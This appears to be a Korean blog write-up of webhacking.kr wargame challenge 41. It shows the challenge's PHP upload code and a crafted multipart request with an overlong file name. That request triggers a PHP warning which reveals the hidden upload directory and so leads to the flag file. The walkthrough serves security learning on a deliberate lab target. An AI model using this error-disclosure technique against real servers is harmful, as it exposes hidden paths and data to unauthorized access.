<?php include "../../config.php"; include "./inc.php"; if($_GET['view_source']) view_source(); error_reporting(E_ALL); ini_set("display_errors", 1); ?><html> <head> <title>Challenge 41</title> </head> <body> <?php if(isset($_FILES['up']) && $_FILES['up']){ $fn = $_FILES['up']['name']; $fn = str_replace(".","",$fn); $fn = str_replace("<","",$fn); $fn = str_replace(">","",$fn); $fn = str_replace("/","",$fn); $cp = $_FILES['up']['tmp_name']; copy($cp,"./{$upload_dir}/{$fn}"); $f = @fopen("./{$upload_dir}/{$fn}","w"); @fwrite($f,$flag); @fclose($f); echo("Done~"); } ?> <form method=post enctype="multipart/form-data"> <input type=file name=up><input type=submit value='upload'> </form> <a href=./?view_source=1>view-source</a> </body> </html>
위의 소스코드를 보면 5번 라인에 Error에 대한 리포트를 출력하는 것을 볼 수 있습니다.
또한 flag 값은 우리가 업로드한 파일 이름으로 작성되는 것을 확인할 수 있습니다.
그런데, 우리가 업로드한 파일은 특정 $upload_dir에 있는 것으로 확인되었는데, 이 디렉토리는 알려주지 않습니다.
그러면 고의적으로 5번 라인에서 발생하는 에러를 통해 에러 메시지에서부터 어느정도 정보를 얻을 수 있을 것 같습니다.
에러를 발생시키기 위해서는 적절하지 않은 입력만큼 좋은 것이 없겠죠!
upload시 filename에 입력할 수 있는 최대 이름의 길이를 알아내보았는데, 파일 이름의 최대 길이를 알아내보니 다음과 같습니다.
뭐 일단 위와 같이 255 길이라고 하니 파일 이름을 엄청 길게 입력해보았습니다.
------WebKitFormBoundaryY1Y6GBYxaviuw2QG
Content-Disposition: form-data; name="up"; filename="kkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_file"
Content-Type: application/octet-stream
------WebKitFormBoundaryY1Y6GBYxaviuw2QG--
업로드 패킷은 위와 같이 전송되었습니다.
파일 이름 길이는 몇일지는 모르지만 엄청 길게 해보았습니다.
그랬더니 다음과 같은 Response가 날아왔습니다.
<html> <head> <title>Challenge 41</title> </head> <body> <br /> <b>Warning</b>: copy(./4b0e87fef7b5e8ba83894970c9806042e5d6ec9a/kkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_file): failed to open stream: File name too long in <b>/var/www/html/challenge/web-19/index.php</b> on line <b>21</b><br /> Done~<form method=post enctype="multipart/form-data"> <input type=file name=up><input type=submit value='upload'> </form> <a href=./?view_source=1>view-source</a> </body> </html>
위와 같이 업로드 경로가 나왔습니다.
이제 여기에 업로드한 파일 이름으로 들어가보도록 하면, 플래그가 입력되어 있을 것입니다.
'WARGAMES > webhacking.kr - old' 카테고리의 다른 글
Webhacking.kr_No45(550) - old (0) | 2020.01.13 |
---|---|
Webhacking.kr_No44(250) - old (0) | 2020.01.13 |
Webhacking.kr_No43(250) - old (0) | 2020.01.08 |
Webhacking.kr_No42(200) - old (0) | 2020.01.08 |
Webhacking.kr_No40(500) - old (0) | 2020.01.08 |
Webhacking.kr_No39(100) - old (0) | 2020.01.07 |
Webhacking.kr_No38(100) - old (0) | 2020.01.07 |
Webhacking.kr_No37(250) - old (0) | 2020.01.06 |